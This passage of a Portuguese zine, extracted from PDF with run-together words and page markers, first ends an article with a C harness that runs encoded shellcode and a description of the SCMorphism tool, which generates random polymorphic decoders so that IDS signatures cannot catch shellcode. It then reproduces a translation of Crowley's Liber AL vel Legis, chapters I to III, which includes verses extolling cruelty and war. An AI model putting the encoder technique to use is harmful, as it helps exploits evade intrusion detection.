char sc[] = "\xeb\x0d\x5b\x31\xc9\xb1\x08\x80" "\x2b\x01\x43\xe2\xfa\xeb\x05\xe8" "\xee\xff\xff\xff\x32\xc1\x32\xdc" "\xb1\x02\xce\x81";

int main( void ) {

void ( *x ) ( ) = ( void * ) sc;

x( );

return( 0 );}

$ strace ./test.. stuff ...... more stuff ...... stuff ....close(3) = 0munmap(0x40012000, 36445) = 0_exit(0) = ?

Finalizando como um decoder pode ser desenvolvido e como funciona. Agora vamos falarsobre as técnicas da ferramenta SCMorphism. Primeiramente, o documento foi terminado deser escrito em 25 de maio de 2004 e pode não vir a ser atualizado com novos recursos doSCMorphism. Veja o ChangeLog para saber mais sobre estes.

SCMorphism iniciou quando wsxz da priv8security falou comigo sobre como codificar umshellcode (usando um decoder XOR).

Eu gostei da ideia e ele me falou para escrever uma ferramenta que fizesse isso

68

Page 69: Equinox Green 2

automaticamente. Li o paper do Rix sobre o assunto e falei com o Darksock e outras pessoas(pode ver todas usando a opcao -v do scmorphism). Estas pessoas me deram muitas idéias einiciei a escrita da ferramenta.

Muitas ferramentas estão disponiveis para fazer partes do que o scmorphism faz, porém nãoconheco nenhuma que faz tudo que este faz. Minha intenção não está apenas em codificar oshellcode original com um valor randômico e colocar um decoder na frente deste.

Eu quero colocar um decoder randomicamente gerado.

SCMorphism pode criar decoder XOR/ADD/SUB/ByteShift randomicamente gerados, sendodiferentes variaçõess do mesmo tipo de decoder.

Os decoders foram divididos em peças (obrigado a [email protected] pela ideia utilizadana sua ferramenta chamada s-poly).

Usando estas peças, a ferramenta pode criar randomicamente decoder, manipulando estaspeças e introduzindo "instruções do nothing". Isto dá ao usuário um shellcode codificadodiferente a cada uso da ferramenta.

As instruções "do nothing" ("não facam nada") usadas e os decoders randomicamente geradostornam impossivel a escrita de assinaturas IDS para a ferramenta (ou isso irá dar ao adminmuitos falsos positivos).

Quando você chamar a função de codificação ela gera um número randomico para ser utilizadona escolha da peça (o tipo do shellcode pode ser escolhido pelo usuário ou tambemrandomicamente escolhido. O número usado para as operações de codificação também podeser escolhido pelo usuário ou randomicamente gerado).

Se desejar deativar a escolha randômica do decoder, utilize a opção -o (optimizar).

O número escolhido para as operações de codificação será utilizado para realizar asmodificações no shellcode (shift bytes, xorar ele, incrementar ou decrementar). Caracteresruins podem ser escolhidos pelo usuário (vendo o TODO você descobrirá que no futuro oSCmorphism devera implementar geração de decoder alfanumérico). Se o usuário nãoescolher nenhum caracter ruim, o sistema irá utilizar \0, \r e \t (obrigado Strider dapriv8security).

Também inclui uma matriz de "instruções não faca nada" que não oferecam problemas com oprocesso de decodificação. Esta matriz (obrigado ao Strider novamente) sempre está sendoutilizada para a escolha randômica das operações não faça nada que são colocadas no meio dodecoder, e tornam a geração de possíveis decoders praticamente infinita (isto realmenteapresenta uma melhoria em relação a ferramenta s-poly mencionada anteriormente, quepossui um numero fixo de possibilidades e torna possivel de um IDS detectar).

Autor:Rodrigo Rubira Branco (BSDaemon)www.bsdaemon.org/[email protected]

69

Page 70: Equinox Green 2

L I B E R A L V E L L E G I O L I V R O D A L E I

Faze o que tu queres há de ser tudo da Lei.

O estudo deste livro é proibido.

É prudente destruir esta cópia após a primeira leitura.

Aquele que se interessar o faz por sua própria conta e risco. Estes são terrivelmente medonhos.

Aqueles que discutem os conteúdos deverão ser evitados por todos como focos de pestilência.

Todas as questões da Lei devem ser decididas apenas com apoio em meus escritos, cada qual por si.

Não há lei além de Faze o que tu queres.

Amor é a lei, amor sob vontade.

O sacerdote dos príncipes,

ANKH - F - N - KHONSU

Este livro é a base de todo sistema desenvolvido por Frater Therion (Aleister Crowley). Recebido nos dias 8, 9 e 10de Abril de 1904, de 12:00hs a s 13:00hs, no Cairo, este livro é a prova da existência de entidades extra-humanas emcontato com os homens, embora Crowley viesse a reconhecer o autor como o seu Sagrado Anjo Guardião.

Fora ditado por uma entidade auto-denominada Aiwass, através de um ritual de invocação a Hórus passado, por suaentão esposa e médium, Rose Kelly. Segue-se a narração do próprio Crowley sobre o ocorrido:

"Eu entrei um minuto antes no 'templo' para poder fechar a porta e sentar-me ao soar do Meio-Dia. Na mesaestavam minha caneta - uma caneta tinteiro Swan - e suprimentos de papel tamanho carta, de oito por dezpolegadas, para máquina de escrever. Nunca olhei em volta em momento algum.

A Voz de Aiwass veio aparentemente sobre meu ombro esquerdo, do canto mais longe da sala. Parecia ecoar emmeu coração físico de uma maneira muito estranah, difícil de descrever. Tenho notado um fenômeno similarquando estou na expectativa de uma mensagem que pode conter grande esperança ou grande temor. A voz jorravaapaixonadamente, como se Aiwass estivesse alerta quanto ao limite de tempo. Escrevi 65 páginas deste presenteensaio à minha velocidade usual de composição, em aproximadamente dez horas e meia, comparando com as 3horas das 65 páginas do Livro da Lei. Tive de correr para manter o ritmo; o MS demonstra isso facilmente. A vozera de timbre profundo, musical e expressiva, seus tons solenes, voluptuosos, ternos, ardentes, ou o que fosseapropriado às mudanças de humor na mensagem. Não era baixo - talvez um tenor cheio, ou um barítono. Apronúncia inglesa era sem sotaque, quer nativo ou estrangeiro; completamente sem maneirismos provinciais ou decasta; assim surpreendente, e até incrível, ao ser ouvida pela primeira vez. Eu tive uma forte impressão de que quemfalava estava realmente no canto onde parecia estar, num corpo de ' matéria fina' , transparente como um véu degaze, ou como uma nuvem de fumaça de incenso.

Ele parecia ser um homem alto, trigueiro, de sues trinta anos, bem coordenado, ativo e forte, com a face de um reiselvagem, de olhos velados para que seu olhar não destruísse o que via. A roupa não era árabe, sugeria Assíria ou

70

Page 71: Equinox Green 2

Pérsia, mas muito vagamente."

O Equinócio dos Deuses

Na época, Crowley estava passando por longo um período de cepticismo em relação a magia. Questionou o Livro detodas as maneiras que conhecia. Ironicamente, isso o permitiu validar a mensagem. Como um investigador céptico, eleestava imune a possíveis glamoures oriundos da ótica mística de um observador parcial.

Um importante elemento adicionado posteriormente (em 1925 na Tunísia) foi O Comento, assinado por Ank - f - n -Khonsu, onde é reforçado a necessidade de uma interpretação pessoal dos escritos na tentativa de evitar distorçõesgrupais como foi com o Corão e a Bíblia. Houve outros comentos, um que surgiu no The Equinox em 1912, outro de1920, como resultado do Trabalho de Cephaloedium (um rito de magia sexual com sua Mulher Escarlate (LeahHirsig) e o do Trabalho Djeridensis de 1923 na Tunísia.

Porém, Crowley só considerou realmente inspirado o de 1925.

O mais atento perceberá que o Livro da Lei aparece sob duas numerações, XXXI e CCXX.

A primeira refere-se ao manuscrito originalmente recebido. A segunda refere-se a uma edição revisada e alterada pelopróprio Crowley, onde foram feitas modificações, deixando o Livro com 220 versos.

Algumas palavras não foram compreendidas (págs: 6,19 e 20) e posteriormente foram novamente passadas por umainvocação a Aiwass feita por Rose Kelly, Crowley numerou o versos Capítulo I, que não haviam sido, a versãoversificada dos hieróglifos da Estela da Revelação foram inseridos mais tarde sob aprovação de Aiwass e, por último, apontuação gramatical foi alterada pela Besta como achou melhor, uma vez que fora aprovado por Aiwass: " Os pontos,como tu quiseres; as letras? Não mudes em estilo ou valor!"

Para uma melhor compreensão do assunto, ler O Equinócio dos Deuses.

Liber Legis inaugura os livros posteriormente denominados Classe A, de característica puramente inspiradas. Os outrosda mesma classe, passaram a ser recebidos (em quase sua totalidade) em 1907, ano das fundação da A.·.A.·.. Em 1911fora publicado o balanço dos mesmos.

Cabe aqui uma última e curiosa nota, Liber Legis passou a ser chamado também Liber Al, depois que Achad descobriua chave para este Livro inspirado (o número 31). Por isso, de seu nome Liber Al vel ("ou" em latim) Legis.

71

Page 72: Equinox Green 2

LIBER al vel legis

SVB FIGVRA ccxx

o livro da lei

TAL QUAL ENTREGUE POR

XCIII = 418

À

DCLXVI

A.·.A.·.

Publicação em Classe a

Capítulo I

1. Had a manifestação de Nuit.

2. O desvelar da companhia do céu.

3. Todo homem e toda mulher é uma estrela.

4. Todo número é infinito; não há diferença.

5. Ajude-me, oh guerreiro senhor de Tebas, em meu desvelar diante dasCrianças dos Homens.

6. Sê tu Hadit, meu centro secreto, meu coração & minha língua!

72

Page 73: Equinox Green 2

7. Vê! é revelado por Aiwass o ministro de Hoor-paar-kraat.

8. O Khabs está no Khu, não o Khu no Khabs.

9. Venerai então ao Khabs, e vede minha luz que irradia sobre vós!

10. Que meus servidores sejam poucos & secretos: eles regerão os muitos econhecidos.

11. Estes são tolos que os homens adoram; seus Deuses & seus homens sãotolos.

12. Aparecei, oh crianças, sob as estrelas, & saciem-se de amor!

13. Eu estou sobre vós e em vós. Meu êxtase está no vosso. Meu prazer é vervosso prazer.

14. Acima, o gemado azul é

O despido esplendor de Nuit;

Ela se curva em êxtase para beijar

Os secretos ardores de Hadit.

O globo alado, o estrelado azul

São meus, Oh Ankh-af-na-khonsu!

15. Agora vós sabereis que o sacerdote & apóstolo eleito do espaço infinito é osacerdote-príncipe a Besta; e em sua mulher chamada a Mulher Escarlate estátodo o poder dado. Eles reunirão minhas crianças em seu cercado: eles trarãoa glória das estrelas para os corações dos homens.

16. Pois ele é sempre um sol, e ela uma lua. Mas para ele é a secreta chamaalada, e para ela a descendente luz estrelar.

17. Mas vós não sois assim escolhidos.

18. Queime sobre suas testas, Oh serpente esplendorosa!

19. Oh mulher de pálpebras azuis, curva-te sobre eles!

20. A chave dos rituais está na palavra secreta que eu dei a ele.

21. Com o Deus & o Adorador eu nada sou: eles não me vêem. Eles são comosobre a terra; Eu sou Céu, e não há outro Deus além de mim, e meu senhorHadit.

22. Agora, portanto, eu sou conhecida por vós por meu nome Nuit, e dele porum nome secreto que eu lhe darei quando enfim me conhecer. Uma vez queeu sou Infinito eSpaço, e as Infinitas eStrelas dali, também fazei vós destaforma. Nada amarreis! Que não haja diferença feita entre vois entre uma coisae qualquer outra coisa; porque daí vem sofrimento.

23. Mas aquele que se aproveitar disto, que ele seja o chefe de tudo!

24. Eu sou Nuit, e minha palavra é seis e cinquenta.

25. Dividi, somai, multiplicai e entendei.

26. Então, diz o profeta e escravo da bela: Quem sou eu, e qual será o sinal?Então, ela lhe respondeu, curvando-se, uma lambente chama de azul, tudo-

73

Page 74: Equinox Green 2

tocante, tudo penetrante, suas amáveis mãos sobre a terra negra, & seu corpoflexível arqueado para o amor, e seus pés macios sem machucar as pequenasflores: Tu sabes! E o sinal será meu êxtase, a consciência da continuidade daexistência, a onipresença de meu corpo.

27. Então o sacerdote respondeu e disse à Rainha do Espaço, beijando suasamáveis sombrancelhas, e o orvalho de sua luz banhando o corpo dele inteiroem um doce perfume de suor: Oh Nuit, contínua do Céu, que seja sempreassim; que os homens não falem de Ti como Uma mas como Nenhuma, e queeles não falem de ti de modo algum, uma vez que tu és contínua!

28. Nenhuma, respirou a luz, tênue e encantadora, das estrelas, e dois.

29. Pois eu estou dividida pela graça causa do amor, pela chance de união.

30. Esta é a criação do mundo, que a dor da divisão é como nada, e o prazerda dissolução tudo.

31. Por estes tolos dos homens e suas dores não te importes de modo algum.Eles pouco sentem; o que é, é equilibrado por débeis prazeres; mas vós soismeus escolhidos.

32. Obedecei meu profeta! Persegui as ordálias do meu conhecimento! Buscai-me apenas! Então os prazeres do meu amor vos redimirão de toda dor. Isto éassim: eu juro pela abóbada do meu corpo; pelo meu coração e línguasagrados; por tudo que eu posso dar, por tudo que eu desejo de vós todos.

33. Então o sacerdote caiu num profundo transe ou desmaio, & disse a Rainhado Céu; Escreve para nós as ordálias; escreve para nós os rituais; escrevapara nós a lei!

34. Mas ela disse: as ordálias eu escrevo não: os rituais serão metadeconhecidos e metade escondidos: a Lei é para todos.

35. Isto que tu escreves é o triplo livro da Lei.

36. Meu escriba Ankh-af-na-khonsu, o sacerdote dos príncipes, não mudaráem uma letra este livro; mas para que não haja tolice, ele comentará emseguida pela sabedoria de Ra-Hoor-Khu-it.

37. Também os mantras e os encantamentos; o obeah e o wanga; o trabalhoda baqueta e o trabalho da espada; estes ele aprenderá e ensinará.

38. Ele deve ensinar; mas ele pode fazer severas as ordálias.

39. A palavra da Lei é Thelema.

40. Quem nos chama Thelemitas não errará, se ele olhar bem perto napalavra. Pois nela há Três Graus, o Eremita, e o Amante, e o homem da Terra.Faze o que tu queres há de ser tudo da Lei. .

41. A palavra de pecado é Restrição. Oh Homem! não recuses tua esposa, seela quer! Oh Amante, se tu queres, parte! Não há laço que possa unir osdivididos a não ser o amor:todo o resto é blasfêmia. Maldito! Maldito seja paraos eons! Inferno!

42. Deixe estar aquele estado de multiplicipade: atado e repugnante. Assimcom tudo seu; tu não tens direito a não ser fazer tua vontade.

74

Page 75: Equinox Green 2

43. Faze isto, e nenhum outro dirá não.

44. Pois vontade pura, desembaraçada de propósito, livre da ânsia deresultado, é toda via perfeita.

45. O Perfeito e o Perfeito são um Perfeito e não dois; não, são nenhum!

46. Nada é uma chave secreta desta lei. Sessenta e um os Judeus a chamam;eu a chamo oito, oitenta, quatrocentos e dezoito.

47. Mas eles têm a metade :una por tua arte de forma que tudo desapareça.

48. Meu profeta é um tolo com seu um, um, um; não são eles o Boi, e nenhumpelo Livro?

49. Abrogados estão todos os rituais, todas as ordálias, todas as palavras esinais. Ra-Hoor-Khuit tomou seu assento no Equinócio dos Deuses; e que Asarfique com Isa, que também são um. Mas eles não são de mim. Que Asar seja o

50. Há uma palavra a dizer sobre a tarefa Hierofântica. Vide! há três ordáliasem uma, e pode ser dada de três modos. O bruto deve passar por fogo; que ofino seja testado no intelecto, e os altivos escolhidos, no mais alto. Destaforma vós tendes estrela & estrela, sistema & sistema; que um não conheçabem o outro!

51. Há quatro portões para um palácio; o chão daquele palácio é de prata eouro; lapis lazuli & jasper estão lá; e todas as essências raras; jasmim & rosa,e os emblemas da morte. Que ele entre sucessiva ou simultaneamente pelosquatro portões; que ele fique de pé sobre o chão do palácio. Não irá elecair?Amn. Oh! guerreiro, se teu servo cair? Mas há meios e meios. Sêdevistosos portanto:vesti vós todos em fino vestuário; comei comidas caras ebebei doces vinhos e vinhos que espumam! Também, tomai vossa fartura evontade de amor como vós quiserdes, quando, onde e com quem vósquiserdes! Mas sempre a mim.

52. Se isto não estiver corretamente, se vós confundirdes as demarcaçõesdizendo: Elas são uma; ou dizendo, Elas são muitas; se o ritual não for semprea mim:então aguardai os terríveis julgamentos de Ra Hoor Khuit!

53. Isto regenerará o mundo, o mundozinho minha irmã, meu coração &minha língua, a quem eu mando este beijo. Também, oh escriba e profeta,embora tu sejas dos príncipes, isto não lhe satisfaz nem absolve. Mas êxtaseseja teu e a alegria da terra: sempre A mim, A mim .

54. Não mudes sequer o estilo de uma letra; pois vêde! tu, oh profeta, nãocontemplarás todos estes mistérios aqui escondidos.

55. A criança de tuas entranhas, ele os contemplará.

56. Não o espere do Leste, nem do Oeste; pois de nenhuma casa esperadavem esta criança . Aum! Todas as palavras são sagradas e todos os profetasverdadeiros; ressalvado apenas que eles entendem um pouco; resolvem aprimeira metade da equação, deixam a segunda intocada. Mas tu tens tudo naluz clara, e alguns, embora não todos, no escuro.

57. Invoque-me sob minhas estrelas! Amor é a lei, amor sob vontade. Que nemos tolos confundam o amor; porque há amor e amor. Há a pomba, e há a

75

Page 76: Equinox Green 2

serpente. Escolhei vós bem! Ele, meu profeta escolheu, conhecendo a lei dafortaleza, e o grande mistério da Casa de Deus. Todas estas velhas letras domeu Livro estão corretas; mas j não é a Estrela. Isto também é secreto: meuprofeta o revelará aos sábios.

58. Eu dou alegrias inimagináveis na terra: certeza, não fé, enquanto em vida,sobre a morte; paz indizível, descanso, êxtase; nem eu exijo nada emsacrifício.

59. Meu incenso é de madeiras resinosas & gomas; e não há sangue aí:porcausa de meu cabelo as árvores da Eternidade.

60. Meu número é onze, como todos os números deles que são de nós . AEstrela de Cinco Pontas, com um Círculo no Meio, & o círculo é Vermelho.Minha cor é preta para o cego, mas azul e ouro são vistos pelos videntes.Também eu tenho uma glória secreta para aqueles que me amam.

61. Mas amar-me é melhor que todas as coisas: se sob as estrelas noturnas nodeserto tu presentemente queimas meu incenso diante mim, invocando-mecom um coração puro, e a chama da Serpente ali dentro, tu virás um poucorecostar-te em meu seio. Por um beijo tu quererais então dar tudo; mas aqueleque der uma partícula de pó tudo perderá naquela hora. Vós reunireismercadorias e quantidades de mulheres e especiarias; vós usareis ricas jóias;vós excedereis as nações da terra em esplendor & orgulho; mas sempre nomeu amor, e então vós vireis à minha alegria. Eu vos exorto seriamente a quevenhas diante de mim em um único robe, e coberto com uma rica tiara. Eu teamo! Eu te desejo! Pálido ou púrpura, velado ou voluptuoso, eu que sou todoprazer e púrpura, e embriaguez do sentido mais íntimo, te desejo. Ponha asasas, e desperte o esplendor serpentinado dentro de vós: vinde a mim!

62. Em todos os meus encontros convosco a sacerdotiza dirá - e seus olhosqueimarão de desejo enquanto ela permanece de pé núa e regozijando emmeu templo secreto - A mim! A mim! expandindo a chama dos corações detodos em seu cântico de amor.

63. Cante a rapturosa canção de amor a me! Queime perfumes a me! Use jóiasa me! Beba a mim, porque eu te amo! Eu te amo!

64. Eu sou a filha de pálpebras azuis do Crepúsculo; Eu sou o brilho nú dovoluptuoso céu noturno.

65. A mim! A mim!

66. A manifestação de Nuit está no fim.

Nota:

V,22 - Em inglês, esta parte é: "...Since I am Infinite Space, and theInfinite Stars thereof, ..." de forma que as letras maiúsculas isoladas de"Infinite + Space + Infinite + Space", formam o nome ISIS. Em Português,perdemos as palavras Space e Stars para Espaço e Estrelas. Tendo em vista oque há de mais importante, forçamos pela permanência do anagrama I.S.I.S.

V, 65 - "To me!" deve ser entendido primariamente em seu senso deChamado de Nuit a nós, Suas estrelas. A transliteração "TO MH" pode ser

76

Page 77: Equinox Green 2

admitida como a "assinatura" de Nuith, identificando-A como quem fala;porque estas Palavras em Grego significam "O Não", que é o Nome Dela. AGematria de TO MH pode ser admitida como mais uma confirmação, porque asoma das letras, 418, está manifestada em outras partes do Livro comonúmero do Aeon. Mas TO MH não deve ser interpretado como que negando osversos prévios, ou 418, como indicando a fórmulas de contato com Ela (se bemque de fato assim é, sendo a Rubrica da Grande Obra). Recuso-me aconsiderar que uma mera pertinência confira título de autoridade ; recuso-mea ler minhas próprias no Livro. Insisto que em toda interpretação deve serincontestavelmente autêntica; nem menos nem mais."

77

Page 78: Equinox Green 2

LIBER al vel legis

SVB FIGVRA ccxx

o livro da lei

TAL QUAL ENTREGUE POR

XCIII = 418

À

DCLXVI

A.·.A.·.

Publicação em Classe a

Capítulo II

1. Nu! o esconder de Hadit.

2. Vinde! todos vós, e aprendei o segredo que ainda não foi revelado. Eu,Hadit, sou o complemento de Nu, minha noiva1. Eu não sou estendido, eKhabs é o nome de minha Casa.

3. Na esfera eu em toda parte sou o centro, uma vez que ela, a circunferência,é em lugar algum encontrada.

4. No entanto ela deverá ser conhecida & eu nunca.

5. Vide! os rituais da velha era são negros. Que os maus sejam abandonados;que os bons sejam expurgados pelo profeta! Então este Conhecimento seguiráde forma correta.

6. Eu sou a chama que queima em todo coração do homem, e no âmago detoda estrela. Eu sou a Vida, e o doador da Vida, também, portanto, o

78

Page 79: Equinox Green 2

conhecimento de me é o conhecimento da morte.

7. Eu sou o magista e o Exorcista. Eu sou o eixo da roda, e o cubo no círculo."Vinde a mim" é uma palavra tola: pois sou Eu quem vou.

8. Quem adorou Heru-pa-kraath adorou-me; errado, porque eu sou o adorante.

9. Lembrai todos vós que a existência é pura alegria; que todas as tristezasnão passam de sombras; elas passam & se vão; mas há aquilo que permanece.

10. Oh profeta! tu tens má vontade em aprender este escrito.

11. Eu o vejo odiar a mão & a pena; mas Eu sou mais forte.

12. Por causa de mim em Ti que você não conhecestes.

13. Por quê? Porque tu fostes o conhecedor, e eu.

14. Agora que haja um velar deste santuário: agora que a luz devore oshomens e os engula totalmente com cegueira!

15. Pois eu sou perfeito, sendo Não ; e meu número é nove pelos tolos; mascom o justo eu sou oito, e um em oito: O que é vital, porque eu sou nada emverdade. A Imperatriz e o Rei não são de mim; pois há um segredo adiante.

16. Eu sou a Imperatriz & o Hierofante. Logo onze, como minha noiva é onze.

17. Ouçam-me, vós que suspirais! As dores de pena infinda Queda aos mortose mortais, Quem não me conhece ainda.

18. Estes são mortos, estes sujeitos; eles não sentem. Nós não somos para ospobres e tristes: os senhores da terra são nossos parentes.

19. Um Deus há de viver em um cão? Não, mas os mais elevados são dosnossos. Eles se regogizarão, nossos escolhidos: quem se lamenta não é dosnossos.

20. Beleza e vigor, riso exaltado e delicioso langor, força e fogo, são dosnossos.

21. Nós não temos nada com o proscrito e o incapaz: deixái-os morrer em suamiséria. Pois eles não sentem. Compaixão é vício de reis: pisa o infeliz & ofraco: esta é a lei do forte: esta é a nossa lei e a alegria do mundo. Nãopenses, oh rei, sobre aquela mentira: Que Tu Deves Morrer: em verdade, tunão morrerás, mas viverás. Agora, que seja compreendido: Se o corpo do Reidissolver, ele permanecerá em puro êxtase eternamente. Nuit! Hadit! Ra-Hoor-Khuit! O Sol, Força e Visão, Luz; estes são para os servos da Estrela e daCobra.

22. Eu sou a Cobra que dá Conhecimento e Deleite e glória brilhante, e incitoos corações dos homens com embriaguez. Para adorar-me tomai vinho eestranhas drogas a respeito das quais Eu direi a meu profeta, & ficai bêbadosdeles! De forma alguma eles vos causarão mal. É uma mentira, esta insensatezcontra si. A exposição da inocência é uma mentira. Seja forte, oh homem!Luxúria, aproveite todas as coisas do sentido e arrebatamento: não temais quealgum Deus o negará por isso.

23. Eu sou só: não há nenhum Deus onde Eu sou.

24. Olhai! estes são graves mistérios; pois também há dos meus amigos que

79

Page 80: Equinox Green 2

são eremitas. Agora não penseis em encontrá-los na floresta ou na montanha;mas em camas púrpuras, acariciados por magníficas mulheres bestiais comgrandes membros, e fogo e luz em seus olhos, e cabelos volumosos eflamejantes em torno delas; lá vós os encontrareis. Vós os vereis no comando,em exércitos vitoriosos, em todo o prazer; e haverá neles uma alegria ummilhão de vezes maior que esta. Cuidado para que um não force o outro, Reicontra Rei! Amem-se uns aos outros com corações ardentes; nos homensinferiores pisai na feroz ganância de seu orgulho, no dia de sua fúria.

25. Vós sois contra o povo, Oh meus escolhidos!

26. Eu sou a Serpente secreta enroscada a ponto de saltar: em meu enroscarhá alegria. Se eu ergo minha cabeça, eu e minha Nuit somos um. Se eu pendominha cabeça, e ejaculo veneno, então é arrebatamento da terra, e eu e aterra somos um.

27. Há um grande perigo em mim; pois quem não entende estas runascometerá um grande erro. Ele cairá no abismo chamado Porque, e lá eleperecerá com os cães da Razão.

28. Agora uma maldição sobre Porque e sua família!

29. Possa Porque ser amaldiçoado para sempre!

30. Se a Vontade para e clama Por quê, invocando Porque, então a Vontadepara & nada faz.

31. Se o Poder pergunta por quê, então o Poder é fraqueza.

32. Também a razão é uma mentira; pois há um fator infinito e desconhecido;& todas as suas palavras são meandros.

33. Basta de Porque! Seja ele danado como um cão!

34. Mas vós, oh meu povo, levantai & despertai!

35. Que os rituais sejam corretamente executados com alegria & beleza!

36. Há rituais dos elementos e festas das eras.

37. Uma festa para a primeira noite do Profeta e sua Noiva!

38. Uma festa pelos três dias de escritura do Livro da Lei.

39. Uma festa para Tahuti e a criança do Profeta - secreta, oh Profeta!

40. Uma festa para o Supremo Ritual, e uma festa para o Equinócio dosDeuses.

41. Uma festa para o fogo e uma festa para a água; uma festa para a vida euma festa maior para a morte!

42. Uma festa todo dia em seus corações na alegria de meu arrebatamento.

43. Uma festa toda noite para Nu, e o prazer do deleite extremo.

44. Sim! Festejai! Regozijai! Não há pavor no além. Há a dissolução, e êxtaseeterno nos beijos de Nu.

45. Há morte para os cães.

46. Tu fracassas? Te lamentas? Há medo em teu coração?

80

Page 81: Equinox Green 2

47. Onde Eu estou estes não estão.

48. Não te apiedes dos caídos! Eu nunca os conheci. Eu não sou para eles. Eunão consolo: Eu odeio o consolado & o consolador.

49. Eu sou único & conquistador. Eu não sou dos escravos que perecem.Sejam eles danados & mortos! Amém. (Isto é dos 4: há um quinto que éinvisível, & nisto eu estou como um bebê num ovo).

50. Azul sou Eu e ouro na luz de minha noiva: mas o brilho vermelho está emmeus olhos; & minhas escamas são púrpura & verde.

51. Púrpura além do púrpura: é a luz acima da visão.

52. Há um véu: este véu é negro. É o véu da mulher modesta; é o véu datristeza, & a mortalha da morte: nada disto é de mim. Arrancai aqueleespectro mentiroso dos séculos: não veleis vossos vícios com palavrasvirtuosas: estes vícios são meu serviço; fazei vós bem, & eu vos recompensareiaqui e no além.

53. Não tema, oh profeta, quando estas palavras forem ditas, tu não deveráste lamentar. Tu és enfaticamente meu escolhido; e abençoados são os olhosque tu contemplares com alegria. Mas eu te esconderei numa máscara detristeza: eles que te virem recearão que tu estás caído: mas Eu te ergo.

54. Nem irão eles que bradam suas tolices de o que tu dizes de nada serve; tuo revelarás: tu vales: eles são os escravos de porque: Eles não são de mim. Ospontos como tu quiseres; as letras? não as mude em estilo ou valor!

55. Tu obterás a ordem & o valor do Alfabeto Inglês; tu encontrarás novossímbolos em que os atribuir.

56. Fora! vós zombadores, embora vós rides em minha honra vós não rireispor muito tempo: então quando vós estiverdes tristes sabei que Eu vosabandonei.

57. Aquele que for virtuoso será virtuoso ainda; aquele que for imundo seráimundo ainda.

58. Sim! não considereis mudança: vós sereis como vós sois, & não outro.Portanto os reis da terra serão Reis para sempre: os escravos servirão. Não háninguém que será rebaixado ou exaltado: tudo é sempre como foi. Entretantohá os meus servos disfarçados: pode ser que aquele mendigo adiante seja umRei. Um Rei pode escolher sua vestimenta como ele quiser: não há testeseguro: mas um mendigo não pode esconder sua pobreza.

59. Cuidado portanto! Ama a todos, pois pode ser que haja um Rei escondido!Dizes assim? Tolo! Se ele for um Rei, tu não podes machucá-lo.

60. Portanto golpeie forte & baixo, e para o inferno com eles, mestre!

61. Há uma luz ante teus olhos, oh profeta, uma luz indesejada, muitodesejável.

62. Eu estou erguido em teu coração; e os beijos das estrelas chovem fortesobre teu corpo.

81

Page 82: Equinox Green 2

63. Tu estás exausto na voluptuosa plenitude da inspiração; a expiração émais doce do que a morte, mais rápida e agradável do que uma carícia dopróprio verme do Inferno.

64. Oh! tu estás derrotado: nós estamos sobre ti; nosso deleite é todo sobre ti:salve! salve! profeta de Nu! profeta de Had! profeta de Ra-Hoor-Khu! Agoraregozije! agora venha em nosso esplendor & arrebatamento! Venha em nossapaz ardente, & escreva doces palavras para os Reis!

65. Eu sou o Mestre: tu és O Santo Escolhido.

66. Escreve & encontra êxtase na escrita! Trabalha, & seja nossa cama notrabalho! Vibra com a alegria da vida & morte! Ah! tua morte será amável:quem a vir ficará satisfeito. Tua morte será o selo da promessa de nossoduradouro amor. Venha! erga teu coração & regozije! Nós somos um; nóssomos nenhum.

67. Aguenta! Aguenta! Suporta em teu arrebatamento; não caias no desmaiodos beijos excelentes!

68. Mais firme! Aguenta a ti mesmo! Levanta tua cabeça ! não respires tãofundo, morre!

69. Ah! Ah! O que sinto eu? Está a palavra exausta?

70. Há ajuda & esperança em outros encantamentos. Sabedoria diz: sê forte!Então tu podes suportar mais prazer. Não sejas animal; refina teu êxtase! Setu bebes, bebe pelas oito e noventa regras de arte: se tu amas, excede peladelicadeza; e se tu fazes qualquer coisa de prazeiroso, que haja fineza nisto!

71. Mas excede! excede!

72. Luta sempre por mais! e se tu és verdadeiramente meu - e não duvidesdisso, e se tu és sempre contente! - morte é a coroa de tudo.

73. Ah! Ah! Morte! Morte! tu ansiarás pela morte. Morte é proibida, ohhomem, para ti.

74. A duração de tua ânsia será a força da glória desta. Aquele que vivelongamente & deseja muito a morte é sempre o Rei entre os Reis.

75. Sim! ouça os números & as palavras:

76. 4 6 3 8 A B K 2 4 A L G M O R 3 4 X 24 89 R P S T O V A L. O que istosignifica, oh profeta? Tu não sabes; nem tu jamais saberás. Lá vem um para tesuceder: ele irá esclarecê-lo. Mas lembra, oh escolhido, de ser-me; de seguir oamor de Nu no céu estrelado; de olhar adiante sobre os homens, de dizer aeles a feliz palavra.

77. Oh sejas tu orgulhoso e poderoso entre os homens!

78. Ergue-te! pois não há nenhum como a ti entre os homens ou entre osDeuses! Ergue-te, oh meu profeta, tua estatura ultrapassará as estrelas. Elasadorarão teu nome, quadrangular, místico, maravilhoso, o número do homem;e o nome da casa é 418.

79. O fim do esconder de Hadit; e benção & adoração ao profeta da amávelEstrela!

82

Page 83: Equinox Green 2

LIBER al vel legis SVB FIGVRA ccxx

o livro da lei

TAL QUAL ENTREGUE POR

XCIII = 418

À

DCLXVI

A.·.A.·.

Publicação em Classe a

Capítulo III

1. Abrahadabra; a recompensa de Ra Hoor Khut.

2. Há divisão aqui rumo à terra natal; há uma palavra não conhecida. Soletrarestá defunto; tudo não é qualquer coisa. Cuidado! Espere! Erija a magia deRa-Hoor-Khuit.

3. Agora que seja primeiro entendido que eu sou um deus de Guerra eVingança. Eu lidarei duramente com eles.

4. Escolhei vós uma ilha!

5. Fortificai-a!

6. Adubai-a com maquinaria de guerra!

7. Eu vos darei uma máquina de guerra.

8. Com ela vós derrotareis os povos; e nenhum ficará diante de vós.

9. Espreitai! Retirai-vos! Atacai-os! esta é a Lei da Batalha da Conquista:então minha adoração será pela minha casa secreta.

83

Page 84: Equinox Green 2

10. Pegai a própria estela da revelação: colocai-a em teu templo secreto - eeste templo já está corretamente disposto - & será vosso Kiblah para sempre.Não irá desbotar, mas cor milagrosa voltará a ele dia após dia. Fechai-o emuma redoma de vidro como uma prova para o mundo.

11. Esta será tua única prova. Eu proibo argumento. Conquiste! Isto ésuficiente. Eu facilitarei para ti a abstruição da casa mal-ordenada na CidadeVitoriosa. Tu mesmo a conduzirás, oh profeta, embora tu não gostes. Tu terásperigo & problema. Ra-Hoor-Khu está contigo. Adora-me com fogo & sangue;adora-me com espadas e com lanças. Que a mullher seja cingida com umaespada diante de mim: que o sangue flua em meu nome. Pisa no Pagão; sêsobre eles, oh guerreiro, eu te darei de suas carnes para comer!

